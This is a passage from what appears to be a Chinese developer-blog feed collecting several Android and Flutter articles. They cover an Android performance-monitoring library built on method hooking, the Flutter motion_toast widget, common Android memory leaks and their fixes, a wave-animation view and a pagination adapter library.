      .checkFps(true, 1000) // 检查 fps
      .checkThread(true) // 检查线程和线程池
      .globalTag("test_perf") // 全局 logcat tag ,方便过滤
      .cacheDirSupplier(new PERF.IssueSupplier<File>() {
         @Override
         public File get() {
           // issue 文件保存目录
           return context.getCacheDir();
        }
      })
      .maxCacheSizeSupplier(new PERF.IssueSupplier<Integer>() {
         @Override
         public Integer get() {
           // issue 文件最大占用存储空间
           return 10 * 1024 * 1024;
        }
      })
      .uploaderSupplier(new PERF.IssueSupplier<PERF.LogFileUploader>() {
         @Override
         public PERF.LogFileUploader get() {
           // issue 文件上传接口
           return logFileUploader;
        }
      })
      .build());
}

kotlin 示例

  private fun doUpload(log: File): Boolean {
   return false
}

 private fun initPERF(context: Context) {
   PERF.init(PERF.Builder()
      .checkUI(true, 100)// 检查 ui lock
      .checkIPC(true) // 检查 ipc 调用
      .checkFps(true, 1000) // 检查 fps
      .checkThread(true)// 检查线程和线程池
      .globalTag("test_perf")// 全局 logcat tag ,方便过滤
      .cacheDirSupplier { context.cacheDir } // issue 文件保存目录
      .maxCacheSizeSupplier { 10 * 1024 * 1024 } // issue 文件最大占用存储空间
      .uploaderSupplier { // issue 文件的上传接口实现
         PERF.LogFileUploader { logFile -> doUpload(logFile) }
      }
      .build()
  )
}

主要更新记录

  • 0.3.1 新增给 ImageView 设置比实际控件尺寸大的图片检测

  • 0.3.0 修改依赖库发布方式为 MavenCentral

  • 0.2.0 线程耗时的监控,同时可以监控线程优先级(setPriority)的改变。

  • 0.1.12 线程创建的监控,加入 thread name 信息收集。同时接入 startup 库做必要的初始化,以及调整 multi dex 的时候,配置文件找不到的问题。

  • 0.1.11 优化 hook 方案的封装,通过 SandHook 开源库,可以按照 IPC 的耗时时间长短来检测。

  • 0.1.10 FPS 的检测时间间隔从默认 2s 调整为 1s,同时支持自定义时间间隔。

  • 0.1.9 优化线程池创建的监控。

  • 0.1.8 初版发布,完成基本的功能。

不建议直接在线上使用这个库,在编写这个库,测试 hook 的时候,在不同的机器和 rom 上,会有不同的问题,这里建议先只在线下自测使用这个检测库。

原理介绍

UI 线程 block 检测原理

主要参考了 AndroidPerformanceMonitor 库的思路,对 UI 线程的 Looper 里面处理 Message 的过程进行监控。

具体做法是,在 Looper 开始处理 Message 前,在异步线程开启一个延时任务,用于后续收集信息。如果这个 Message 在指定的时间段内完成了处理,那么在这个 Message 被处理完后,就取消之前的延时任务,说明 UI 线程没有 block 。如果在指定的时间段内没有完成任务,说明 UI 线程有 block 。此时,异步线程可以执行刚才的延时任务。如果我们在这个延时任务里面打印 UI 线程的方法调用栈,就可以知道 UI 线程在做什么了。这个就是 UI 线程 block 检测的基本原理。

但是这个方案有一个缺点,就是无法处理 InputManager 的输入事件,比如 TV 端的遥控按键事件。通过对按键事件的调用方法链进行分析,发现最终每个按键事件都调用了 DecorView 类的 dispatchKeyEvent 方法,而非 Looper 的处理 Message 流程。所以 AndroidPerformanceMonitor 库是无法准确监控 TV 端应用 UI block 的情况。针对 TV 端应用按键处理,需要找到一个新的切入点,这个切入点就是刚刚的 DecorView 类的 dispatchKeyEvent 方法。

那如何介入 DecorView 类的 dispatchKeyEvent 方法呢?我们可以通过 epic 库来 hook 这个方法的调用。hook 成功后,我们可以在 DecorView 类的 dispatchKeyEvent 方法调用前后都接收到一个回调方法,在 dispatchKeyEvent 方法调用前我们可以在异步线程执行一个延时任务,在 dispatchKeyEvent 方法调用后,取消这个延时任务。如果 dispatchKeyEvent 方法耗时时间小于指定的时间阈值,延时任务在执行前被取消,可以认为没有 block ,此时移除了延时任务。如果 dispatchKeyEvent 方法耗时时间大于指定的时间阈值说明此时 UI 线程是有 block 的。此时,异步线程可以执行这个延时任务来收集必要的信息。

以上就是修改后的 UI 线程 block 的检测原理了,目前做的还比较粗糙,后续计划考虑参考 AndroidPerformanceMonitor 打印 CPU 、内存等更多的信息。

最终终端 log 打印效果如下:

com.xander.performace.demo W/demo_Issue: =================================================
  type: UI BLOCK
  msg: UI BLOCK
  create time: 2021-01-13 11:24:41
  trace:
  java.lang.Thread.sleep(Thread.java:-2)
  java.lang.Thread.sleep(Thread.java:442)
  java.lang.Thread.sleep(Thread.java:358)
  com.xander.performance.demo.MainActivity.testANR(MainActivity.kt:49)
  java.lang.reflect.Method.invoke(Method.java:-2)
  androidx.appcompat.app.AppCompatViewInflater$DeclaredOnClickListener.onClick(AppCompatViewInflater.java:397)
  android.view.View.performClick(View.java:7496)
  android.view.View.performClickInternal(View.java:7473)
  android.view.View.access$3600(View.java:831)
  android.view.View$PerformClick.run(View.java:28641)
  android.os.Handler.handleCallback(Handler.java:938)
  android.os.Handler.dispatchMessage(Handler.java:99)
  android.os.Looper.loop(Looper.java:236)
  android.app.ActivityThread.main(ActivityThread.java:7876)
  java.lang.reflect.Method.invoke(Method.java:-2)
  com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:656)
  com.android.internal.os.ZygoteInit.main(ZygoteInit.java:967)

FPS 检测的原理

FPS 检测的原理,利用了 Android 的屏幕绘制原理。这里简单说下 Android 的屏幕绘制原理。

系统每隔 16 ms 就会发送一个 VSync 信号。 如果应用注册了这个 VSync 信号,就会在 VSync 信号到来的时候,收到回调,从而开始准备绘制。如果准备顺利,也就是 CPU 准备数据、GPU 栅格化等,如果这些任务在 16 ms 之内完成,那么下一个 VSync 信号到来前就可以绘制这一帧界面了。就没有掉帧,界面很流畅。如果在 16 ms 内没准备好,可能就需要更多的时间这个画面才能显示出来,在这种情况下就发生了丢帧,如果丢帧很多就卡顿了。

检测 FPS 的原理其实挺简单的,就是通过一段时间内,比如 1s,统计绘制了多少个画面,就可以计算出 FPS 了。那如何知道应用 1s 内绘制了多少个界面呢?这个就要靠 VSync 信号监听了。

在开始准备绘制前,往 UI 线程的 MessageQueue 里面放一个同步屏障,这样 UI 线程就只会处理异步消息,直到同步屏障被移除。刷新前,应用会注册一个 VSync 信号监听,当 VSync 信号到达的时候,系统会通知应用,让应用会给 UI 线程的 MessageQueue 里面放一个异步 Message *。由于之前 MessageQueue 里有了一个*同步屏障,所以后续 UI 线程会优先处理这个异步 Message 。这个异步 Message 做的事情就是从 ViewRootImpl 开始我们熟悉的 measurelayoutdraw

我们可以通过 Choreographer 注册 VSync 信号监听。16ms 后,我们收到了 VSync 的信号,给 MessageQueue 里面放一个同步消息,我们不做特别处理,只是做一个计数,然后监听下一次的 VSync 信号,这样,我们就可以知道 1s 内我们监听到了多少个 VSync 信号,就可以得出帧率。

为什么监听到的 VSync 信号数量就是帧率呢?

由于 Looper 处理 Message 是串行的,就是一次只处理一个 Message ,处理完了这个 Message 才会处理下一个 Message 。而绘制的时候,绘制任务 Message 是异步消息,会优先执行,绘制任务 Message 执行完成后,就会执行上面说的 VSync 信号计数的任务。如果忽略计数任务的耗时,那么最后统计到的 VSync 信号数量可以粗略认为是某段时间内绘制的帧数。然后就可以通过这段时间的长度和 VSync 信号数量来计算帧率了。

最终终端 log 打印效果如下:

com.xander.performace.demo W/demo_FPSTool: APP FPS is: 54 Hz
com.xander.performace.demo W/demo_FPSTool: APP FPS is: 60 Hz
com.xander.performace.demo W/demo_FPSTool: APP FPS is: 60 Hz

线程的创建和启动监控以及线程池的创建监控

线程和线程池的监控,主要是监控线程和线程池在哪里创建和执行的,如果我们可以知道这些信息,我们就可以比较清楚线程和线程池的创建和启动时机是否合理。从而得出优化方案。

一个比较容易想到的方法就是,应用代码里面的所有线程和线程池继承同一个线程基类和线程池基类。然后在构造函数和启动函数里面打印方法调用栈,这样我们就知道哪里创建和执行了线程或者线程池。

让应用所有的线程和线程池继承同一个基类,可以通过编译插件来实现,定制一个特殊的 Transform ,通过 ASM 编辑生成的字节码来改变继承关系。但是,这个方法有一定的上手难度,不太适合新手。

除了这个方法,我们还有另外一种方法,就是 hook 。通过 hook 线程或者线程池的构造方法和启动方法,我们就可以在线程或者线程池的构造方法和启动方法的前后做一些切片处理,比如打印当前方法调用栈等。这个也就是线程和线程池监控的基本原理。

线程池的监控没有太大难度,一般都是 ThreadPoolExecutor 的子类,所以我们 hook 一下 ThreadPoolExecutor 的构造方法就可以监控线程池的创建了。线程池的执行主要就是 hookThreadPoolExecutor 类的 execute 方法。

线程的创建和执行的监控方法就稍微要费些脑筋了,因为线程池里面会创建线程,所以这个线程的创建和执行应该和线程池绑定的。需要找到线程和线程池的联系,之前看到一个库,好像是通过线程和线程池的 ThreadGroup 来建立关联的,本来我也计划按照这个关系来写代码的,但是我发现,我们有的小伙伴写的线程池的 ThreadFactory 里面创建线程并没有传入ThreadGroup ,这个就尴尬了,就建立不了联系了。经过查阅相关源码发现了一个关键的类,ThreadPoolExecutor 的内部类Worker ,由于这个类是内部类,所以这个类实际的构造方法里面会传入一个外部类的实例,也就是 ThreadPoolExecutor 实例。同时, Worker 这个类还是一个 Runnable 实现,在 Worker 类通过 ThreadFactory 创建线程的时候,会把自己作为一个 Runnable 传给 Thread 所以,我们通过这个关系,就可以知道 WorkerThread 的关联了。这样,我们通过 ThreadPoolExecutorWorker 的关联,以及 WorkerThread 的关联,就可以得到 ThreadPoolExecutor 和它创建的 Thread 的关联了。这个也就是线程和线程池的监控原理了。

最终终端 log 打印效果如下:

com.xander.performace.demo W/demo_Issue: =================================================
  type: THREAD
  msg: THREAD POOL CREATE
  create time: 2021-01-13 11:23:47
  create trace:
  com.xander.performance.StackTraceUtils.list(StackTraceUtils.java:39)
  com.xander.performance.ThreadTool$ThreadPoolExecutorConstructorHook.afterHookedMethod(ThreadTool.java:158)
  de.robv.android.xposed.DexposedBridge.handleHookedArtMethod(DexposedBridge.java:265)
  me.weishu.epic.art.entry.Entry64.onHookObject(Entry64.java:64)
  me.weishu.epic.art.entry.Entry64.referenceBridge(Entry64.java:239)
  java.util.concurrent.Executors.newSingleThreadExecutor(Executors.java:179)
  com.xander.performance.demo.MainActivity.testThreadPool(MainActivity.kt:38)
  java.lang.reflect.Method.invoke(Method.java:-2)
  androidx.appcompat.app.AppCompatViewInflater$DeclaredOnClickListener.onClick(AppCompatViewInflater.java:397)
  android.view.View.performClick(View.java:7496)
  android.view.View.performClickInternal(View.java:7473)
  android.view.View.access$3600(View.java:831)
  android.view.View$PerformClick.run(View.java:28641)
  android.os.Handler.handleCallback(Handler.java:938)
  android.os.Handler.dispatchMessage(Handler.java:99)
  android.os.Looper.loop(Looper.java:236)
  android.app.ActivityThread.main(ActivityThread.java:7876)
  java.lang.reflect.Method.invoke(Method.java:-2)
  com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:656)
  com.android.internal.os.ZygoteInit.main(ZygoteInit.java:967)

IPC(进程间通讯)监控的原理

进程间通讯的具体原理,也就是 Binder 机制,这里不做详细的说明,也不是这个框架库的原理。

检测进程间通讯的方法和前面检测线程的方法类似,就是找到所有的进程间通讯的方法的共同点,然后对共同点做一些修改或者说切片,让应用在进行进程间通讯的时候,打印一下调用栈,然后继续做原来的事情。就达到了 IPC 监控的目的。

那如何找到共同点,或者说切片,就是本节的重点。

进程间通讯离不开 Binder ,需要从 Binder 入手。

写一个 AIDL demo 后发现,自动生成的代码里面,接口 A 继承自 IInterface 接口,然后接口里面有个内部抽象类 Stub 类,继承自 Binder ,同时实现了接口 A 。这个 Stub 类里面还有一个内部类 Proxy ,实现了接口 A ,并持有一个 IBinder 实例。

我们在使用 AIDL 的时候,会用到 Stub 类的 asInterFace 的方法,这个方法会新建一个 Proxy 实例,并给这个 Proxy 实例传入 IBinder , 或者如果传入的 IBinder 实例如果是接口 A 的话,就强制转化为接口 A 实例。一般而言,这个 IBinder 实例是 ServiceConnection 的回调方法里面的实例,是 BinderProxy 的实例。所以 Stub 类的 asInterFace 一般会创建一个 Proxy 实例,查看这个 Proxy 接口的实现方法,发现最终都会调用 BinderProxytransact 方法,所以 BinderProxytransact 方法是一个很好的切入点。

本来我也是计划通过 hookBinderProxy 类的 transact 方法来做 IPC 的检测的。但是 epic 库在 hook 含有 Parcel 类型参数的方法的时候,不稳定,会有异常。由于暂时还没能力解决这个异常,只能重新找切入点。最后发现 AIDL demo 生成的代码里面,除了调用了 调用 BinderProxytransact 方法外,还调用了 ParcelreadException 方法,于是决定 hook 这个方法来切入 IPC 调用流程,从而达到 IPC 监控的目的。

最终终端 log 打印效果如下:

com.xander.performace.demo W/demo_Issue: =================================================
  type: IPC
  msg: IPC
  create time: 2021-01-13 11:25:04
  trace:
  com.xander.performance.StackTraceUtils.list(StackTraceUtils.java:39)
  com.xander.performance.IPCTool$ParcelReadExceptionHook.beforeHookedMethod(IPCTool.java:96)
  de.robv.android.xposed.DexposedBridge.handleHookedArtMethod(DexposedBridge.java:229)
  me.weishu.epic.art.entry.Entry64.onHookVoid(Entry64.java:68)
  me.weishu.epic.art.entry.Entry64.referenceBridge(Entry64.java:220)
  me.weishu.epic.art.entry.Entry64.voidBridge(Entry64.java:82)
  android.app.IActivityManager$Stub$Proxy.getRunningAppProcesses(IActivityManager.java:7285)
  android.app.ActivityManager.getRunningAppProcesses(ActivityManager.java:3684)
  com.xander.performance.demo.MainActivity.testIPC(MainActivity.kt:55)
  java.lang.reflect.Method.invoke(Method.java:-2)
  androidx.appcompat.app.AppCompatViewInflater$DeclaredOnClickListener.onClick(AppCompatViewInflater.java:397)
  android.view.View.performClick(View.java:7496)
  android.view.View.performClickInternal(View.java:7473)
  android.view.View.access$3600(View.java:831)
  android.view.View$PerformClick.run(View.java:28641)
  android.os.Handler.handleCallback(Handler.java:938)
  android.os.Handler.dispatchMessage(Handler.java:99)
  android.os.Looper.loop(Looper.java:236)
  android.app.ActivityThread.main(ActivityThread.java:7876)
  java.lang.reflect.Method.invoke(Method.java:-2)
  com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:656)
  com.android.internal.os.ZygoteInit.main(ZygoteInit.java:967)

作者:xanderwang
来源:https://juejin.cn/post/6916531888576266254

收起阅读 »

丢掉丑陋的 toast,会动的 toast 更有趣!

前言我们通常会用 toast(也叫吐司)来显示提示信息,例如网络请求错误,校验错误等等。大多数 App的 toast 都很简单,简单的半透明黑底加上白色文字草草了事,比如下面这种. 说实话,这种toast 的体验很糟糕。假设是新手用户,他们并不知道 toas...
继续阅读 »



前言

我们通常会用 toast(也叫吐司)来显示提示信息,例如网络请求错误,校验错误等等。大多数 App的 toast 都很简单,简单的半透明黑底加上白色文字草草了事,比如下面这种.

说实话,这种toast 的体验很糟糕。假设是新手用户,他们并不知道 toast 从哪里出来,等出现错误的时候,闪现出来的时候,可能还没抓住内容的重点就消失了(尤其是想截屏抓错误的时候,更抓狂)。这是因为一个是这种 toast 一般比较小,而是动效非常简单,用来提醒其实并不是特别好。怎么破?本篇来给大家介绍一个非常有趣的 toast 组件 —— motion_toast

motion_toast 介绍

从名字就知道,motion_toast 是支持动效的,除此之外,它的颜值还很高,下面是它的一个示例动图,仔细看那个小闹钟图标,是在跳动的哦。这种提醒效果比起常用的 toast 来说醒目多了,也更有趣味性。 下面我们看看 motion_toast 的特性:

  • 可以通过动画图标实现动效;

  • 内置了成功、警告、错误、提醒和删除类型;

  • 支持自定义;

  • 支持不同的主题色;

  • 支持 null safety;

  • 心跳动画效果;

  • 完全自定义的文本内容;

  • 内置动画效果;

  • 支持自定义布局(LTR 和 RTL);

  • 自定义持续时长;

  • 自定义展现位置(居中,底部或顶部);

  • 支持长文本显示;

  • 自定义背景样式;

  • 自定义消失形式。

可以看到,除了能够开箱即用之外,我们还可以通过自定义来丰富 toast 的样式,使之更有趣。

示例

介绍完了,我们来一些典型的示例吧,首先在 pubspec.yaml 中添加依赖motion_toast: ^2.0.0(最低Dart版本需要2.12)。

最简单用法

只需要一行代码搞定!其他参数在 success 的命名构造方法中默认了,因此使用非常简单。

MotionToast.success(description: '操作成功!').show(context);

其他内置的提醒

内置的提醒也支持我们修改默认参数进行样式调整,如标题、位置、宽度、显示位置、动画曲线等等。

// 错误提示
MotionToast.error(
 description: '发生错误!',
 width: 300,
 position: MOTION_TOAST_POSITION.center,
).show(context);

//删除提示
MotionToast.delete(
 description: '已成功删除',
 position: MOTION_TOAST_POSITION.bottom,
 animationType: ANIMATION.fromLeft,
 animationCurve: Curves.bounceIn,
).show(context);

// 信息提醒(带标题)
MotionToast.info(
 description: '这是一条提醒,可能会有很多行。toast 会自动调整高度显示',
 title: '提醒',
 titleStyle: TextStyle(fontWeight: FontWeight.bold),
 position: MOTION_TOAST_POSITION.bottom,
 animationType: ANIMATION.fromBottom,
 animationCurve: Curves.linear,
 dismissable: true,
).show(context);

不过需要注意的是,一个是 dismissable 参数只对显示位置在底部的有用,当在底部且dismissabletrue 时,点击空白处可以让 toast 提前消失。另外就是显示位置 positionanimationType 是存在某些互斥关系的。从源码可以看到底部显示的时候,animationType不能是 fromTop,顶部显示的时候 animationType 不能是 fromBottom

void _assertValidValues() {
 assert(
  (position == MOTION_TOAST_POSITION.bottom &&
           animationType != ANIMATION.fromTop) ||
      (position == MOTION_TOAST_POSITION.top &&
           animationType != ANIMATION.fromBottom) ||
      (position == MOTION_TOAST_POSITION.center),
);
}

自定义 toast

自定义其实就是使用 MotionToast 构建一个实例,其中,descriptioniconprimaryColor参数是必传的。自定义的参数很多,使用的时候建议看一下源码注释。

MotionToast(
 description: '这是自定义 toast',
 icon: Icons.flag,
 primaryColor: Colors.blue,
 secondaryColor: Colors.green[300],
 descriptionStyle: TextStyle(
   color: Colors.white,
),
 position: MOTION_TOAST_POSITION.center,
 animationType: ANIMATION.fromRight,
 animationCurve: Curves.easeIn,
).show(context);

下面对自定义的一些参数做一下解释:

  • icon:图标,IconData 类,可以使用系统字体图标;

  • primaryColor:主颜色,也就是大的背景底色;

  • secondaryColor:辅助色,也就是图标和旁边的竖条的颜色;

  • descriptionStyle:toast 文字的字体样式;

  • title:标题文字;

  • titleStyle:标题文字样式;

  • toastDuration:显示时长;

  • backgroundType:背景类型,枚举值,共三个可选值,transparentsolidlighter,默认是 lighterlighter其实就是加了一层白色底色,然后再将原先的背景色(主色调)加上一定的透明度叠加到上面,所以看起来会泛白。

  • onClose:关闭时回调,可以用于出现多个错误时依次展示,或者是关闭后触发某些动作,如返回上一页。

总结

看完之后,是不是觉得以前的 toast 太丑了?用 motion_toast来一个更有趣的吧。另外,整个 motion_toast 的源码并不多,有兴趣的可以读读源码,了解一下toast 的实现也是不错的。

作者:岛上码农
来源:https://juejin.cn/post/7042301322376265742

收起阅读 »

Android 常见内存泄漏总结、避免踩坑、提供解决方案

对常见的内存泄漏进行一波总结,希望可以帮到大家。静态实例持有非静态内部类描述🤦♀️非静态内部类会持有外部类的实例,所以如果非静态内部类的实例是静态的话,那么它的生命周期就是整个APP的生命周期,而它则会一直持有外部类的引用,阻止外部类实例被系统回收。举个例子🌰...
继续阅读 »



对常见的内存泄漏进行一波总结,希望可以帮到大家。

静态实例持有非静态内部类

描述🤦♀️

非静态内部类会持有外部类的实例,所以如果非静态内部类的实例是静态的话,那么它的生命周期就是整个APP的生命周期,而它则会一直持有外部类的引用,阻止外部类实例被系统回收。

举个例子🌰:

public class TestActivity extends AppCompatActivity {

   static InnerClass innerClass;

   @Override
   protected void onCreate(@Nullable Bundle savedInstanceState) {

       super.onCreate(savedInstanceState);
       setContentView(R.layout.item_layout);
       findViewById(R.id.button).setOnClickListener(new View.OnClickListener() {

           @Override
           public void onClick(View v) {
               innerClass = new InnerClass();
          }
      });
  }

   class InnerClass{
 
    }
}

此时点击button时,会创建InnerClass实例并且赋值给innerClass。因为innerClassstatic修饰,所以InnerClass实例的生命周期会和应用程序一样长,但是它会持有TestActivity的实例,所以就会导致如果系统需要回收不了TestActivity的实例。造成内存泄漏😮。

解决办法🙆♀️

  • 将非静态内部类替换成静态内部类,因为静态内部类不会持有外部类的引用

  • 一定要用非静态内部类的话,要保证内部类的生命周期短于外部类

耗时任务相关的匿名内部类/非静态内部类

描述🤦♀️

这个和上一个类似,非静态内部类持有外部类的实例大家都知道了,这里不在叙述了;匿名内部类也会持有外部类的实例,而且匿名内部类会结合线程使用得多,这里就拉出来讲一下。

同理因为匿名内部类会持有外部类的实例,比如线程的Runable如果在里面做了耗时任务,在外部类对象需要回收的时候,但是线程任务没有执行完,那么就会因为匿名内部类持有外部类的引用,进而阻止系统回收外部类对象了。

简单举个例子

public class TestActivity extends AppCompatActivity {

   @Override
   protected void onCreate(@Nullable Bundle savedInstanceState) {

       super.onCreate(savedInstanceState);
       setContentView(R.layout.item_layout);
       findViewById(R.id.button).setOnClickListener(new View.OnClickListener() {

           @Override
           public void onClick(View v) {
               ThreadPoolExecutor threadPoolExecutor = new ThreadPoolExecutor(0, Integer.MAX_VALUE, 60, TimeUnit.MICROSECONDS, new SynchronousQueue(), new ThreadFactory() {
                   @Override
                   public Thread newThread(Runnable r) {
                       return new Thread(new ThreadGroup("test-thread"),r);
                  }
              });
               threadPoolExecutor.submit(new Runnable() {
                   @Override
                   public void run() {
                       while (true){
                           Log.d("TAG", "run: test");
                      }
                  }
              });
          }
      });
  }
}

点击button执行线程任务,提交了一个runable进去,因为里面死循环永远不会结束。所以匿名内部类会一直持有TestActivitty对象。不会被系统回收掉😮。因为匿名内部类这玩意进场使用,所以还是需要注意的!!!🤦♀️

解决方案🙆♀️

  • 将匿名内部类/非静态内部类替换成静态内部类,因为静态内部类不会持有外部类的引用

  • 一定要用匿名内部类/非静态内部类的话,要保证内部类的生命周期短于外部类

Handle内存泄漏

描述🤦♀️

这个就有点老生常谈了😂,但还是的说一下。

Handler发送的Message会存储在MessageQueue里面,但是他们不一定马上就被处理了。

另外我们知道Message的Target会持有记录当前的Handler对象,用于进行消息分发。所以如果Message不被及时处理,那么Handler就无法被回收。

那么如果此时Handler是非静态的,则Handler也会导致引用它的Activity不能被回收😮。

举个例子🌰

public class TestActivity extends AppCompatActivity {

   @Override
   protected void onCreate(@Nullable Bundle savedInstanceState) {

       super.onCreate(savedInstanceState);
       setContentView(R.layout.item_layout);
       Handler mHandler = new Handler(){

           @Override
           public void handleMessage(Message msg) {
               super.handleMessage(msg);
          }
      };
       findViewById(R.id.button).setOnClickListener(new View.OnClickListener() {

           @Override
           public void onClick(View v) {
   
               mHandler.sendMessageDelayed(new Message(),100000);
               finish();
          }
      });
  }
}

当点击button时,会finish当前activity。但是因为消息没有被及时处理,间接引用了Handler对象,Handler又是匿名内部类实例,持有了activity对象。所以导致内存泄漏🤦♀️。

解决方案🙆♀️

  • 使用静态Handler内部类,handler的持有者用弱引用。

  • 在onDestroy中将未执行的消息和Callbacks清除。

    if (mHandler != null) {
        mHandler.removeCallbacksAndMessages(null);
    }

Context被长期持有

描述🤦♀️

这个也很简单,比如你把Activity的Context传给了一个长期存在的对象,那其实activity的context就是它自身,那么因为被持有就回收不了。造成内存泄漏

解决方案🙆♀️

  • 对于不是必须使用Activity的Context的情况(Dialog的Context必须使用Activity的Context),可以考虑使用Application来代替Activity的Context,因为一般使用Context无非时获取一些资源而已。

  • 一定要传入Activity的Context的话,一定要注意生命周期,不可以被长期引用。

View被静态修饰

描述🤦♀️

这个。。。。我估计没有多少人这么使用吧。如果View被静态修饰的话,因为View会持有Context,所以就会导致当前Activity不会被回收。🤦♀️

举个例子🌰

public class TestActivity extends AppCompatActivity {

   static View button;

   @Override
   protected void onCreate(@Nullable Bundle savedInstanceState) {

       super.onCreate(savedInstanceState);
       setContentView(R.layout.item_layout);
       button = findViewById(R.id.button);
  }
}

解决方案🙆♀️

  • 在onDestory中将view置null。

大对象/监听器释放

描述🤦♀️

大对象比如Bitmap

Bitmap对象一般比较大,而且好多操作都需要变换产生新的对象。所以需要注意一定要尽快释放临时的Bitmap对象用于节省内存。尽量避免被静态修饰或者其他长生命周期引用。

监听器的释放

很多服务需要register和unregister监听器,需要在合适的时候及时的unregister这些监听器否则容易产生内存泄漏。

解决方案🙆♀️

  • 大对象及时释放

  • 监听器在合适的时候进行释放

资源对象注意关闭

描述🤦♀️

资源对象比如File、Cursor等,如果不进行正常关闭,会造成内存泄漏。

解决方案🙆♀️

  • 通常使用异常代码块捕获,在finally语句中进行关闭,防止出现异常资源没有被正常释放问题。

集合对象

描述🤦♀️

注意一些生命周期很长的集合,比如被static修饰的集合,它的生命周期会时APP的生命周期,那么它里面维持的对象,如果在没用之后要即使清理掉,否则就会造成内存泄漏。

举个例子🌰

public class TestActivity extends AppCompatActivity {

   static List<View> vies;

   @Override
   protected void onCreate(@Nullable Bundle savedInstanceState) {

       super.onCreate(savedInstanceState);
       setContentView(R.layout.item_layout);
       vies.add(findViewById(R.id.button));
  }
}

view被加入集合,因为集合生命周期为APP的生命周期,所以View、Activity也回收不了,内存泄漏。

解决方案🙆♀️

  • 这个完全需要自己注意,对于长生命周期集合内部对象的管理。

————————————————
作者:pumpkin的玄学
来源:https://blog.csdn.net/weixin_44235109/article/details/122029725

收起阅读 »

android 水波纹控件,仿京东语音评价动画

先上效果gradle 引用implementation 'com.maxcion:multwaveviewlib:1.0.0'https://github.com/Likeyong/MultWaveView第一种样式存在三层水波纹,所以要生成3个Wave对象,...
继续阅读 »



先上效果

gradle 引用

implementation 'com.maxcion:multwaveviewlib:1.0.0'

项目地址

https://github.com/Likeyong/MultWaveView

  • 第一种效果是多重水波纹的效果, 三层水波纹,每层水播放可以设置不同的颜色、波高与波宽

  • 第二种效果是 单层水波纹,并且支持从底部慢慢上涨的效果。 这里也可以设置为多层水波纹上涨效果,颜色、波高、波宽以及背景图都是可以定制

  • 第三种效果就是模仿京东语音评价动画,最底部的seekbar 是用来模拟语音输出的声音大小,声音越大波高越大,并且每条水波纹的粗细以及速度都不同

第一种和第二种效果的背景图是这样的, 如果设置了背景图,那么整个控件的大小就是背景图大小与xml中设置的大小无关

List<Wave> waves = new ArrayList<>();
       Wave wave1 = new Wave(0, 150, 1, Color.parseColor("#00FFFF"), 3);
       Wave wave2 = new Wave(1f / 8, 150, 1, Color.parseColor("#6600FFFF"), 3);
       Wave wave3 = new Wave(1f / 4, 150, 1, Color.parseColor("#4400FFFF"), 3);
       waves.add(wave1);
       waves.add(wave2);
       waves.add(wave3);

       waveView.start(WaveArg.build()
              .setWaveList(waves)
              .setAutoRise(false)
              .setIsStroke(false)
              .setTransformBitmap(BitmapFactory.decodeResource(getResources(), R.drawable.batman_logo))

第一种样式存在三层水波纹,所以要生成3个Wave对象,参数说明如下

设置完水波纹数据后,就可以开始动画了

waveView.start(WaveArg.build()
              .setWaveList(waves)//设置水波纹数据
              .setAutoRise(false)//设置水波纹是否自动上升
              .setIsStroke(false)//设置水波纹是实心的还是线条模式
              .setTransformBitmap(BitmapFactory.decodeResource(getResources(), R.drawable.batman_logo))
               //设置背景图

      );

第二种样式:只有一层水波纹但是需要自动上涨,所以只用生成一条wave对象

List<Wave> waves = new ArrayList<>();
       Wave wave1 = new Wave(0, 150, 1, Color.parseColor("#00FFFF"), 3);
       waves.add(wave1);

waveView2.start(WaveArg.build()
              .setWaveList(waves)
              .setAutoRise(true)//设置自动上涨
              .setIsStroke(false)
              .setTransformBitmap(BitmapFactory.decodeResource(getResources(), R.drawable.batman_logo))

      );

第三种样式,仅线条模式,并且三条水波纹粗细不一样,速度不一样,水波纹的粗细和速度都是通过Wave的构造函数设置的

List<Wave> waves = new ArrayList<>();
       Wave wave1 = new Wave(0, 150, 1, Color.parseColor("#000000"), 3);
       Wave wave2 = new Wave(0, 150, 3, Color.parseColor("#000000"), 3);
       Wave wave3 = new Wave(0, 150, 2, Color.parseColor("#000000"), 3);
       waves.add(wave1);
       waves.add(wave2);
       waves.add(wave3);

waveView3.start(WaveArg.build()
              .setWaveList(waves)
              .setAutoRise(false)
              .setIsStroke(true)

      );

这样写我们的三条粗细、速度都不同的水波纹动画就出来了,接下来就是根据声音大小来调整波高,通过 waveView.setWaveHeightMultiple(mult), 因为语音一直输入,声音大小也是一直变化的,科大讯飞的语音转写SDK中就有声音大小的回调,然后将回调出来的声音大小通过setWaveHeightMultiple,就可以实现波高动态改变了

作者:maxcion
来源:https://www.jianshu.com/p/9a770b0e68ff

收起阅读 »

Android端小到不行的分页加载库

RecyclerView几乎在每个app里面都有被使用,但凡使用了列表就会采用分页加载进行数据请求和加载。android 官方也推出了分页库,但是感觉只有kotlin一起使用才能体会到酸爽。Java 版本的也有很多很强大的第三方库,BaseRecyclerVi...
继续阅读 »

RecyclerView几乎在每个app里面都有被使用,但凡使用了列表就会采用分页加载进行数据请求和加载。android 官方也推出了分页库,但是感觉只有kotlin一起使用才能体会到酸爽。Java 版本的也有很多很强大的第三方库,BaseRecyclerViewAdapterHelper这个库是我用起来最顺手的分页库,里面也包含了各式各样强大的功能:分组、拖动排序、动画,因为功能强大,代码量也相对比较大。 但是很多时候我们想要的就是分页加载,所以参照BaseRecyclerViewAdapterHelper写下了这个分页加载库,只有分页功能。(可以说照搬,也可以说精简,但是其中也加入个人理解)。
这个库相对BaseRecyclerViewAdapterHelper只有两个优点:

  • 代码量小

  • BaseRecyclerViewAdapterHelper 在数据不满一屏时仍然显示加载更多以及页面初始化时都会显示loadmoewView(虽然提供了api进行隐藏,但是看了很长时间注释和文档都没了解该怎么使用),而这个库在初次加载和不满一屏数据时不会显示loadmoreView

gradle引用

implementation 'com.maxcion:pageloadadapter:1.0.0'

项目地址:https://github.com/Likeyong/PageLoadAdapter

如果看不到gif,就到掘金吧 https://juejin.cn/post/6944242618658193415

单列分页加载

混合布局分页加载

Recyclerview 多type分页加载

单列分页加载

//一定要在PageLoadRecyclerVewAdapter<String> 的泛型参数里面指定数据源item格式
public class SimpleAdapter extends PageLoadRecyclerVewAdapter<String> {
   public SimpleAdapter(List<String> dataList) {
       super(dataList);
  }

   //这里进行 数据绑定
   @Override
   protected void convert(BaseViewHolder holder, String item) {
